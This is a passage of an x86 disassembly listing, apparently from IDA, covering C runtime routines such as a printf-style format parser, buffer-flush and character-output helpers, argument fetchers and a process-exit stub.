sub_41EEB2+4Ep ... arg_0 = dword ptr 4 cmp dword_489500, 1 jnz short loc_4199E8 call sub_41F578 loc_4199E8: ; CODE XREF: sub_4199DA+7j push [esp+arg_0] call sub_41F5B1 push 0FFh call off_438A70 pop ecx pop ecx retn sub_4199DA endp ; =============== S U B R O U T I N E ======================================= sub_4199FF proc near ; CODE XREF: sub_4198E4+66p arg_0 = dword ptr 4 cmp dword_489500, 1 jnz short loc_419A0D call sub_41F578 loc_419A0D: ; CODE XREF: sub_4199FF+7j push [esp+arg_0] call sub_41F5B1 pop ecx push 0FFh call dword_42314C ; ExitProcess retn sub_4199FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A23 proc near ; CODE XREF: sub_416FB6+46p ; sub_41752A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419B2C test al, 40h jnz loc_419B2C test al, 1 jz short loc_419A5B and dword ptr [esi+4], 0 test al, 10h jz loc_419B2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419A5B: ; CODE XREF: sub_419A23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419A95 cmp esi, offset dword_43B1B8 jz short loc_419A83 cmp esi, offset dword_43B1D8 jnz short loc_419A8E loc_419A83: ; CODE XREF: sub_419A23+56j push ebx call sub_41F748 test eax, eax pop ecx jnz short loc_419A95 loc_419A8E: ; CODE XREF: sub_419A23+5Ej push esi call sub_41F704 pop ecx loc_419A95: ; CODE XREF: sub_419A23+4Ej ; sub_419A23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419B02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419AC5 push edi push eax push ebx call sub_41EAC2 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419AF8 ; --------------------------------------------------------------------------- loc_419AC5: ; CODE XREF: sub_419A23+90j cmp ebx, 0FFFFFFFFh jz short loc_419AE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48A7E0[eax*4] lea eax, [eax+ecx*8] jmp short loc_419AE5 ; --------------------------------------------------------------------------- loc_419AE0: ; CODE XREF: sub_419A23+A5j mov eax, offset dword_43B100 loc_419AE5: ; CODE XREF: sub_419A23+BBj test byte ptr [eax+4], 20h jz short loc_419AF8 push 2 push 0 push ebx call sub_41E217 add esp, 0Ch loc_419AF8: ; CODE XREF: sub_419A23+A0j ; sub_419A23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419B16 ; --------------------------------------------------------------------------- loc_419B02: ; CODE XREF: sub_419A23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41EAC2 add esp, 0Ch mov [ebp+arg_4], eax loc_419B16: ; CODE XREF: sub_419A23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419B22 or dword ptr [esi+0Ch], 20h jmp short loc_419B31 ; --------------------------------------------------------------------------- loc_419B22: ; CODE XREF: sub_419A23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419B34 ; --------------------------------------------------------------------------- loc_419B2C: ; CODE XREF: sub_419A23+10j ; sub_419A23+18j ... or al, 20h mov [esi+0Ch], eax loc_419B31: ; CODE XREF: sub_419A23+FDj or eax, 0FFFFFFFFh loc_419B34: ; CODE XREF: sub_419A23+107j pop esi pop ebx pop ebp retn sub_419A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B38 proc near ; CODE XREF: sub_416FB6+29p ; sub_41752A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A251 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419B6C ; --------------------------------------------------------------------------- loc_419B64: ; CODE XREF: sub_419B38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419B6C: ; CODE XREF: sub_419B38+2Aj cmp [ebp+var_14], edx jl loc_41A251 cmp bl, 20h jl short loc_419B8D cmp bl, 78h jg short loc_419B8D movsx eax, bl mov al, [eax+423694h] and eax, 0Fh jmp short loc_419B8F ; --------------------------------------------------------------------------- loc_419B8D: ; CODE XREF: sub_419B38+40j ; sub_419B38+45j xor eax, eax loc_419B8F: ; CODE XREF: sub_419B38+53j movsx eax, byte_4236B4[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A240 ; default jmp off_41A259[eax*4] ; switch jump loc_419BAD: ; DATA XREF: .data:off_41A259o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419BA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419BC8: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o movsx eax, bl ; jumptable 00419BA6 case 2 sub eax, 20h jz short loc_419C0B sub eax, 3 jz short loc_419C02 sub eax, 8 jz short loc_419BF9 dec eax dec eax jz short loc_419BF0 sub eax, 3 jnz loc_41A240 ; default or [ebp+var_4], 8 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419BF0: ; CODE XREF: sub_419B38+A4j or [ebp+var_4], 4 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419BF9: ; CODE XREF: sub_419B38+A0j or [ebp+var_4], 1 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C02: ; CODE XREF: sub_419B38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C0B: ; CODE XREF: sub_419B38+96j or [ebp+var_4], 2 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C14: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o cmp bl, 2Ah ; jumptable 00419BA6 case 3 jnz short loc_419C3C lea eax, [ebp+arg_8] push eax call sub_41A317 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A240 ; default or [ebp+var_4], 4 neg eax loc_419C34: ; CODE XREF: sub_419B38+111j mov [ebp+var_20], eax jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C3C: ; CODE XREF: sub_419B38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419C34 ; --------------------------------------------------------------------------- loc_419C4B: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o mov [ebp+var_10], edx ; jumptable 00419BA6 case 4 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C53: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o cmp bl, 2Ah ; jumptable 00419BA6 case 5 jnz short loc_419C76 lea eax, [ebp+arg_8] push eax call sub_41A317 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A240 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C76: ; CODE XREF: sub_419B38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419C88: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o cmp bl, 49h ; jumptable 00419BA6 case 6 jz short loc_419CBB cmp bl, 68h jz short loc_419CB2 cmp bl, 6Ch jz short loc_419CA9 cmp bl, 77h jnz loc_41A240 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419CA9: ; CODE XREF: sub_419B38+15Dj or [ebp+var_4], 10h jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419CB2: ; CODE XREF: sub_419B38+158j or [ebp+var_4], 20h jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419CBB: ; CODE XREF: sub_419B38+153j cmp byte ptr [edi], 36h jnz short loc_419CD4 cmp byte ptr [edi+1], 34h jnz short loc_419CD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419CD4: ; CODE XREF: sub_419B38+186j ; sub_419B38+18Cj mov [ebp+var_30], edx loc_419CD7: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o mov ecx, off_438A80 ; jumptable 00419BA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_419D03 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A279 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_419D03: ; CODE XREF: sub_419B38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A279 add esp, 0Ch jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_419D1B: ; CODE XREF: sub_419B38+6Ej ; DATA XREF: .data:off_41A259o movsx eax, bl ; jumptable 00419BA6 case 7 cmp eax, 67h jg loc_419F43 cmp eax, 65h jge loc_419DC6 cmp eax, 58h jg loc_419E24 jz loc_419FB7 sub eax, 43h jz loc_419DE7 dec eax dec eax jz short loc_419DBC dec eax dec eax jz short loc_419DBC sub eax, 0Ch jnz loc_41A142 test word ptr [ebp+var_4], 830h jnz short loc_419D65 or byte ptr [ebp+var_4+1], 8 loc_419D65: ; CODE XREF: sub_419B38+227j ; sub_419B38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_419D72 mov esi, 7FFFFFFFh loc_419D72: ; CODE XREF: sub_419B38+233j lea eax, [ebp+arg_8] push eax call sub_41A317 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_419F8B test ecx, ecx jnz short loc_419D9A mov ecx, off_438A7C mov [ebp+var_8], ecx loc_419D9A: ; CODE XREF: sub_419B38+257j mov [ebp+var_24], 1 mov eax, ecx loc_419DA3: ; CODE XREF: sub_419B38+282j mov edx, esi dec esi test edx, edx jz loc_419F82 cmp word ptr [eax], 0 jz loc_419F82 inc eax inc eax jmp short loc_419DA3 ; --------------------------------------------------------------------------- loc_419DBC: ; CODE XREF: sub_419B38+212j ; sub_419B38+216j mov [ebp+var_34], 1 add bl, 20h loc_419DC6: ; CODE XREF: sub_419B38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_419EAA mov [ebp+var_10], 6 jmp loc_419EB8 ; --------------------------------------------------------------------------- loc_419DE7: ; CODE XREF: sub_419B38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_419DF3 or byte ptr [ebp+var_4+1], 8 loc_419DF3: ; CODE XREF: sub_419B38+2B5j ; sub_419B38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_419E3A call sub_41A334 push eax lea eax, [ebp+var_248] push eax call sub_41F827 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_419E4D mov [ebp+var_28], 1 jmp short loc_419E4D ; --------------------------------------------------------------------------- loc_419E24: ; CODE XREF: sub_419B38+1FBj sub eax, 5Ah jz short loc_419E5B sub eax, 9 jz short loc_419DF3 dec eax jz loc_41A01D jmp loc_41A142 ; --------------------------------------------------------------------------- loc_419E3A: ; CODE XREF: sub_419B38+2C5j call sub_41A317 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_419E4D: ; CODE XREF: sub_419B38+2E1j ; sub_419B38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A142 ; --------------------------------------------------------------------------- loc_419E5B: ; CODE XREF: sub_419B38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A317 test eax, eax pop ecx jz short loc_419E9C mov ecx, [eax+4] test ecx, ecx jz short loc_419E9C test byte ptr [ebp+var_4+1], 8 jz short loc_419E8D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A142 ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419B38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A13F ; --------------------------------------------------------------------------- loc_419E9C: ; CODE XREF: sub_419B38+32Fj ; sub_419B38+336j mov eax, off_438A78 mov [ebp+var_8], eax push eax jmp loc_419F38 ; --------------------------------------------------------------------------- loc_419EAA: ; CODE XREF: sub_419B38+29Dj jnz short loc_419EB8 cmp bl, 67h jnz short loc_419EB8 mov [ebp+var_10], 1 loc_419EB8: ; CODE XREF: sub_419B38+2AAj ; sub_419B38:loc_419EAAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43ADE0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_419F0A cmp [ebp+var_10], 0 jnz short loc_419F0A lea eax, [ebp+var_248] push eax call off_43ADEC pop ecx loc_419F0A: ; CODE XREF: sub_419B38+3BCj ; sub_419B38+3C2j cmp bl, 67h jnz short loc_419F21 test esi, esi jnz short loc_419F21 lea eax, [ebp+var_248] push eax call off_43ADE4 pop ecx loc_419F21: ; CODE XREF: sub_419B38+3D5j ; sub_419B38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_419F37 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_419F37: ; CODE XREF: sub_419B38+3F0j push edi loc_419F38: ; CODE XREF: sub_419B38+36Dj call sub_4177B0 pop ecx jmp loc_41A13F ; --------------------------------------------------------------------------- loc_419F43: ; CODE XREF: sub_419B38+1E9j sub eax, 69h jz loc_41A01D sub eax, 5 jz loc_419FF3 dec eax jz loc_419FE0 dec eax jz short loc_419FB0 sub eax, 3 jz loc_419D65 dec eax dec eax jz loc_41A021 sub eax, 3 jnz loc_41A142 mov [ebp+var_2C], 27h jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419F82: ; CODE XREF: sub_419B38+270j ; sub_419B38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A13F ; --------------------------------------------------------------------------- loc_419F8B: ; CODE XREF: sub_419B38+24Fj test ecx, ecx jnz short loc_419F98 mov ecx, off_438A78 mov [ebp+var_8], ecx loc_419F98: ; CODE XREF: sub_419B38+455j mov eax, ecx loc_419F9A: ; CODE XREF: sub_419B38+46Fj mov edx, esi dec esi test edx, edx jz short loc_419FA9 cmp byte ptr [eax], 0 jz short loc_419FA9 inc eax jmp short loc_419F9A ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419B38+467j ; sub_419B38+46Cj sub eax, ecx jmp loc_41A13F ; --------------------------------------------------------------------------- loc_419FB0: ; CODE XREF: sub_419B38+425j mov [ebp+var_10], 8 loc_419FB7: ; CODE XREF: sub_419B38+201j mov [ebp+var_2C], 7 loc_419FBE: ; CODE XREF: sub_419B38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A028 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A028 ; --------------------------------------------------------------------------- loc_419FE0: ; CODE XREF: sub_419B38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A028 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A028 ; --------------------------------------------------------------------------- loc_419FF3: ; CODE XREF: sub_419B38+417j lea eax, [ebp+arg_8] push eax call sub_41A317 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A00C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A011 ; --------------------------------------------------------------------------- loc_41A00C: ; CODE XREF: sub_419B38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A011: ; CODE XREF: sub_419B38+4D2j mov [ebp+var_28], 1 jmp loc_41A240 ; default ; --------------------------------------------------------------------------- loc_41A01D: ; CODE XREF: sub_419B38+2F7j ; sub_419B38+40Ej or [ebp+var_4], 40h loc_41A021: ; CODE XREF: sub_419B38+432j mov [ebp+var_C], 0Ah loc_41A028: ; CODE XREF: sub_419B38+491j ; sub_419B38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A03A lea eax, [ebp+arg_8] push eax call sub_41A324 pop ecx jmp short loc_41A07B ; --------------------------------------------------------------------------- loc_41A03A: ; CODE XREF: sub_419B38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A061 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A056 call sub_41A317 pop ecx movsx eax, ax loc_41A053: ; CODE XREF: sub_419B38+527j ; sub_419B38+539j cdq jmp short loc_41A07B ; --------------------------------------------------------------------------- loc_41A056: ; CODE XREF: sub_419B38+510j call sub_41A317 pop ecx movzx eax, ax jmp short loc_41A053 ; --------------------------------------------------------------------------- loc_41A061: ; CODE XREF: sub_419B38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A073 call sub_41A317 pop ecx jmp short loc_41A053 ; --------------------------------------------------------------------------- loc_41A073: ; CODE XREF: sub_419B38+531j call sub_41A317 pop ecx xor edx, edx loc_41A07B: ; CODE XREF: sub_419B38+500j ; sub_419B38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A09C test edx, edx jg short loc_41A09C jl short loc_41A08B test eax, eax jnb short loc_41A09C loc_41A08B: ; CODE XREF: sub_419B38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A0A0 ; --------------------------------------------------------------------------- loc_41A09C: ; CODE XREF: sub_419B38+547j ; sub_419B38+54Bj ... mov esi, eax mov edi, edx loc_41A0A0: ; CODE XREF: sub_419B38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A0A9 and edi, 0 loc_41A0A9: ; CODE XREF: sub_419B38+56Cj cmp [ebp+var_10], 0 jge short loc_41A0B8 mov [ebp+var_10], 1 jmp short loc_41A0BC ; --------------------------------------------------------------------------- loc_41A0B8: ; CODE XREF: sub_419B38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A0BC: ; CODE XREF: sub_419B38+57Ej mov eax, esi or eax, edi jnz short loc_41A0C6 and [ebp+var_1C], 0 loc_41A0C6: ; CODE XREF: sub_419B38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A0CC: ; CODE XREF: sub_419B38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A0DC mov eax, esi or eax, edi jz short loc_41A117 loc_41A0DC: ; CODE XREF: sub_419B38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_418ED0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_418F50 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A10D add ebx, [ebp+var_2C] loc_41A10D: ; CODE XREF: sub_419B38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A0CC ; --------------------------------------------------------------------------- loc_41A117: ; CODE XREF: sub_419B38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A142 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A135 test eax, eax jnz short loc_41A142 loc_41A135: ; CODE XREF: sub_419B38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A13F: ; CODE XREF: sub_419B38+35Fj ; sub_419B38+406j ... mov [ebp+var_C], eax loc_41A142: ; CODE XREF: sub_419B38+21Bj ; sub_419B38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A240 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A17A test bh, 1 jz short loc_41A15F mov [ebp+var_16], 2Dh jmp short loc_41A173 ; --------------------------------------------------------------------------- loc_41A15F: ; CODE XREF: sub_419B38+61Fj test bl, 1 jz short loc_41A16A mov [ebp+var_16], 2Bh jmp short loc_41A173 ; --------------------------------------------------------------------------- loc_41A16A: ; CODE XREF: sub_419B38+62Aj test bl, 2 jz short loc_41A17A mov [ebp+var_16], 20h loc_41A173: ; CODE XREF: sub_419B38+625j ; sub_419B38+630j mov [ebp+var_1C], 1 loc_41A17A: ; CODE XREF: sub_419B38+61Aj ; sub_419B38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A19A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A2AE add esp, 10h loc_41A19A: ; CODE XREF: sub_419B38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A2DF add esp, 10h test bl, 8 jz short loc_41A1CC test bl, 4 jnz short loc_41A1CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A2AE add esp, 10h loc_41A1CC: ; CODE XREF: sub_419B38+67Bj ; sub_419B38+680j cmp [ebp+var_24], 0 jz short loc_41A213 cmp [ebp+var_C], 0 jle short loc_41A213 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A1E1: ; CODE XREF: sub_419B38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41F827 pop ecx test eax, eax pop ecx jle short loc_41A228 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A2DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A1E1 jmp short loc_41A228 ; --------------------------------------------------------------------------- loc_41A213: ; CODE XREF: sub_419B38+698j ; sub_419B38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A2DF add esp, 10h loc_41A228: ; CODE XREF: sub_419B38+6BCj ; sub_419B38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A240 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A2AE add esp, 10h loc_41A240: ; CODE XREF: sub_419B38+68j ; sub_419B38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419B64 loc_41A251: ; CODE XREF: sub_419B38+1Fj ; sub_419B38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419B38 endp ; --------------------------------------------------------------------------- off_41A259 dd offset loc_419CD7 ; DATA XREF: sub_419B38+6Er dd offset loc_419BAD ; jump table for switch statement dd offset loc_419BC8 dd offset loc_419C14 dd offset loc_419C4B dd offset loc_419C53 dd offset loc_419C88 dd offset loc_419D1B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A279 proc near ; CODE XREF: sub_419B38+1BDp ; sub_419B38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A292 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A29D ; --------------------------------------------------------------------------- loc_41A292: ; CODE XREF: sub_41A279+9j push ecx push [ebp+arg_0] call sub_419A23 pop ecx pop ecx loc_41A29D: ; CODE XREF: sub_41A279+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A2AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A2AA: ; CODE XREF: sub_41A279+2Aj inc dword ptr [eax] pop ebp retn sub_41A279 endp ; =============== S U B R O U T I N E ======================================= sub_41A2AE proc near ; CODE XREF: sub_419B38+65Ap ; sub_419B38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A2DC mov esi, [esp+8+arg_C] loc_41A2BF: ; CODE XREF: sub_41A2AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A279 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A2DC mov eax, edi dec edi test eax, eax jg short loc_41A2BF loc_41A2DC: ; CODE XREF: sub_41A2AE+Bj ; sub_41A2AE+25j pop edi pop esi retn sub_41A2AE endp ; =============== S U B R O U T I N E ======================================= sub_41A2DF proc near ; CODE XREF: sub_419B38+670p ; sub_419B38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A313 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A2F5: ; CODE XREF: sub_41A2DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A279 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A313 mov eax, ebx dec ebx test eax, eax jg short loc_41A2F5 loc_41A313: ; CODE XREF: sub_41A2DF+Cj ; sub_41A2DF+2Bj pop edi pop esi pop ebx retn sub_41A2DF endp ; =============== S U B R O U T I N E ======================================= sub_41A317 proc near ; CODE XREF: sub_419B38+E5p ; sub_419B38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A317 endp ; =============== S U B R O U T I N E ======================================= sub_41A324 proc near ; CODE XREF: sub_419B38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A324 endp ; =============== S U B R O U T I N E ======================================= sub_41A334 proc near ; CODE XREF: sub_419B38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A342 proc near ; CODE XREF: sub_417494+17p ; sub_417494+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A360 mov ecx, off_438A80 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A360: ; CODE XREF: sub_41A342+10j mov ecx, eax push esi mov esi, off_438A80 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A385 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A38E ; --------------------------------------------------------------------------- loc_41A385: ; CODE XREF: sub_41A342+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A38E: ; CODE XREF: sub_41A342+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41F88F add esp, 1Ch test eax, eax jnz short loc_41A3AE leave retn ; --------------------------------------------------------------------------- loc_41A3AE: ; CODE XREF: sub_41A342+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A3B2: ; CODE XREF: sub_41A342+1Cj and eax, [ebp+arg_4] leave retn sub_41A342 endp ; =============== S U B R O U T I N E ======================================= sub_41A3B7 proc near ; CODE XREF: sub_417600+2Ap ; sub_41FBF2+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_48A8E0 jnb loc_41A451 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:48A7E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A451 push edi call 